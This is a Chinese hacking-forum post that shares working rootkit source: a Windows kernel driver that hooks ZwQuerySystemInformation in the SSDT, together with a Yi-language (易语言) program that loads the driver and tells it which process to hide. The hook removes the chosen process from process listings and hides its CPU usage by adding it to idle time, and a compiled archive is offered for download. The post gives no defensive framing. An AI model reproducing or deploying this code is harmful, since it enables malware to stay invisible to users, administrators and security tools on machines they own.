登录  | 立即注册

游客您好!登录后享受更多精彩

查看: 133|回复: 0

[源码] ssdt Hook 隐藏进程 , 易语言例程+驱动源码

[复制链接]

42

主题

-7

回帖

48

积分

网站编辑

积分
48
发表于 2024-12-27 21:22:35 | 显示全部楼层 |阅读模式
驱动在 WDK 7600.16385.0 编译通过.

易语言编译的模块提供了3个接口:

驱动操作.加载 ("服务名[文本型]", "驱动名[文本型]", "驱动路径[文本型]")
驱动操作.通信 ("驱动指令[整数型]", "输入缓冲指针[整数型]", "输入缓冲长度[整数型]", "输出缓冲指针[整数型]", "输出缓冲长度[整数型]")
驱动操作.卸载 ()


调用代码也很简单:

.版本 2

.程序集 窗口程序集1
.程序集变量 驱动, 驱动操作
.程序集变量 ProcessId, 整数型

.子程序 __启动窗口_创建完毕

.如果真 (取反 (驱动.加载 (“HideProcess”, “//./HideProcess”, 取运行目录 () + “\HideProcess.sys”)))
    信息框 (“加载驱动失败!”, #错误图标, “错误”)
    结束 ()
.如果真结束


.子程序 __启动窗口_将被销毁

ProcessId = 0
驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)

.子程序 _开关_被单击

.如果 (开关.标题 = “HideOff”)
    ProcessId = 0
    .如果真 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0))
        开关.标题 = “HideOn”
    .如果真结束

.否则
    ProcessId = GetCurrentProcessId ()
    .如果 (取反 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)))
        信息框 (“隐藏失败!”, #错误图标, “错误”)
    .否则
        开关.标题 = “HideOff”
    .如果结束


驱动实现如下:
  1. #include "ntddk.h"
  2. #include "drvcommon.h"

  3. #pragma pack(1)
  4. typedef struct ServiceDescriptorEntry {
  5.         unsigned int *ServiceTableBase;
  6.         unsigned int *ServiceCounterTableBase;
  7.         unsigned int NumberOfServices;
  8.         unsigned char *ParamTableBase;
  9. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  10. #pragma pack()

  11. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  12. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


  13. PMDL  g_pmdlSystemCall;
  14. PVOID *MappedSystemCallTable;
  15. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  16. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
  17.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

  18. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
  19.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


  20. struct _SYSTEM_THREADS
  21. {
  22.         LARGE_INTEGER           KernelTime;
  23.         LARGE_INTEGER           UserTime;
  24.         LARGE_INTEGER           CreateTime;
  25.         ULONG                           WaitTime;
  26.         PVOID                           StartAddress;
  27.         CLIENT_ID                       ClientIs;
  28.         KPRIORITY                       Priority;
  29.         KPRIORITY                       BasePriority;
  30.         ULONG                           ContextSwitchCount;
  31.         ULONG                           ThreadState;
  32.         KWAIT_REASON            WaitReason;
  33. };

  34. struct _SYSTEM_PROCESSES
  35. {
  36.         ULONG                           NextEntryDelta;
  37.         ULONG                           ThreadCount;
  38.         ULONG                           Reserved[6];
  39.         LARGE_INTEGER           CreateTime;
  40.         LARGE_INTEGER           UserTime;
  41.         LARGE_INTEGER           KernelTime;
  42.         UNICODE_STRING          ProcessName;
  43.         KPRIORITY                       BasePriority;
  44.         ULONG                           ProcessId;
  45.         ULONG                           InheritedFromProcessId;
  46.         ULONG                           HandleCount;
  47.         ULONG                           Reserved2[2];
  48.         VM_COUNTERS                     VmCounters;
  49.         IO_COUNTERS                     IoCounters;
  50.         struct _SYSTEM_THREADS          Threads[1];
  51. };

  52. struct _SYSTEM_PROCESSOR_TIMES
  53. {
  54.                 LARGE_INTEGER                                        IdleTime;
  55.                 LARGE_INTEGER                                        KernelTime;
  56.                 LARGE_INTEGER                                        UserTime;
  57.                 LARGE_INTEGER                                        DpcTime;
  58.                 LARGE_INTEGER                                        InterruptTime;
  59.                 ULONG                                                        InterruptCount;
  60. };


  61. NTSYSAPI
  62. NTSTATUS
  63. NTAPI ZwQuerySystemInformation(
  64.             IN ULONG SystemInformationClass,
  65.                         IN PVOID SystemInformation,
  66.                         IN ULONG SystemInformationLength,
  67.                         OUT PULONG ReturnLength);


  68. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  69.             ULONG SystemInformationCLass,
  70.                         PVOID SystemInformation,
  71.                         ULONG SystemInformationLength,
  72.                         PULONG ReturnLength
  73. );


  74. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
  75. ULONG                                                        pid = 0;
  76. PDRIVER_OBJECT pdoGlobalDrvObj = 0;
  77. LARGE_INTEGER                                        m_UserTime;
  78. LARGE_INTEGER                                        m_KernelTime;

  79. #define DEVICE_NAME                        "\\Device\\HideProcess"
  80. #define SYMLINK_NAME                "\\DosDevices\\HideProcess"
  81. PRESET_UNICODE_STRING(usDeviceName, DEVICE_NAME);
  82. PRESET_UNICODE_STRING(usSymlinkName, SYMLINK_NAME);



  83. NTSTATUS NewZwQuerySystemInformation(
  84.             IN ULONG SystemInformationClass,
  85.             IN PVOID SystemInformation,
  86.             IN ULONG SystemInformationLength,
  87.             OUT PULONG ReturnLength)
  88. {

  89.    NTSTATUS ntStatus;

  90.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  91.                                         SystemInformationClass,
  92.                                         SystemInformation,
  93.                                         SystemInformationLength,
  94.                                         ReturnLength );

  95.    if( NT_SUCCESS(ntStatus))
  96.    {
  97.       if(SystemInformationClass == 5)
  98.       {                               
  99.                  struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  100.          struct _SYSTEM_PROCESSES *prev = NULL;
  101.                  
  102.                  while(curr)
  103.                  {
  104.                         if (curr->ProcessId != 0 && pid != 0)
  105.                         {
  106.                                 if(curr->ProcessId == pid)
  107.                                 {
  108.                                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
  109.                                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

  110.                                         if(prev)
  111.                                         {
  112.                                                 if(curr->NextEntryDelta)
  113.                                                         prev->NextEntryDelta += curr->NextEntryDelta;
  114.                                                 else
  115.                                                         prev->NextEntryDelta = 0;
  116.                                         }
  117.                                         else
  118.                                         {
  119.                                                 if(curr->NextEntryDelta)
  120.                                                 {
  121.                                                         (char *)SystemInformation += curr->NextEntryDelta;
  122.                                                 }
  123.                                                 else
  124.                                                         SystemInformation = NULL;
  125.                                         }
  126.                                 }
  127.                         }
  128.                         else
  129.                         {
  130.                            curr->UserTime.QuadPart += m_UserTime.QuadPart;
  131.                            curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
  132.                            m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  133.                         }
  134.                         prev = curr;
  135.                     if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
  136.                     else curr = NULL;
  137.              }
  138.           }
  139.           else if (SystemInformationClass == 8)
  140.           {
  141.          struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
  142.          times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
  143.           }

  144.    }
  145.    return ntStatus;
  146. }


  147. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  148. {
  149.    DbgPrint("ROOTKIT: OnUnload called\n");

  150.    UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

  151.    if(g_pmdlSystemCall)
  152.    {
  153.       MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  154.       IoFreeMdl(g_pmdlSystemCall);
  155.    }
  156. }

  157. NTSTATUS OnDispatchCreateClose(
  158.     IN PDEVICE_OBJECT                DeviceObject,
  159.     IN PIRP                                        Irp
  160.     )
  161. {
  162.     NTSTATUS status = STATUS_SUCCESS;
  163.     Irp->IoStatus.Status = status;
  164.     Irp->IoStatus.Information = 0;
  165.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
  166.     return status;
  167. }

  168. NTSTATUS OnDispatchDeviceControl(
  169.     IN PDEVICE_OBJECT                DeviceObject,
  170.     IN PIRP                                        Irp
  171.     )
  172. {
  173.     NTSTATUS status = STATUS_SUCCESS;
  174.     PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);

  175.     switch(irpSp->Parameters.DeviceIoControl.IoControlCode)
  176.     {
  177.     case 0x1000:
  178.                 pid = *(PULONG)Irp->AssociatedIrp.SystemBuffer;
  179.         break;
  180.     default:
  181.         Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
  182.         Irp->IoStatus.Information = 0;
  183.                 pid = 0;
  184.         break;
  185.     }

  186.     status = Irp->IoStatus.Status;
  187.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
  188.     return status;
  189. }


  190. NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
  191.                                          IN PUNICODE_STRING theRegistryPath)
  192. {
  193.         PDEVICE_OBJECT pdoDeviceObj = 0;
  194.     NTSTATUS status = STATUS_UNSUCCESSFUL;
  195.     pdoGlobalDrvObj = theDriverObject;

  196.     if(!NT_SUCCESS(status = IoCreateDevice(
  197.         theDriverObject,
  198.         0,
  199.         &usDeviceName,
  200.         FILE_DEVICE_UNKNOWN,
  201.         FILE_DEVICE_SECURE_OPEN,
  202.         FALSE,
  203.         &pdoDeviceObj
  204.         )))
  205.     {
  206.         return status;
  207.     };

  208.     if(!NT_SUCCESS(status = IoCreateSymbolicLink(
  209.         &usSymlinkName,
  210.         &usDeviceName
  211.         )))
  212.     {
  213.         IoDeleteDevice(pdoDeviceObj);
  214.         return status;
  215.     }

  216.    theDriverObject->MajorFunction[IRP_MJ_CREATE] =
  217.    theDriverObject->MajorFunction[IRP_MJ_CLOSE] = OnDispatchCreateClose;
  218.    theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OnDispatchDeviceControl;
  219.    theDriverObject->DriverUnload  = OnUnload;


  220.    m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;


  221.    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  222.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  223.    if(!g_pmdlSystemCall)
  224.       return STATUS_UNSUCCESSFUL;

  225.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  226.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  227.    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  228.    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
  229.                               
  230.    return STATUS_SUCCESS;
  231. }
复制代码

ssdt Hook 隐藏进程 , 易语言例程 驱动源码.rar

8.69 KB, 下载次数: 2, 下载积分: 断点币 -2

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|断点社区 |网站地图

GMT+8, 2025-1-18 13:15 , Processed in 0.058475 second(s), 30 queries .

Powered by XiunoBBS

Copyright © 2001-2025, 断点社区.

快速回复 返回顶部 返回列表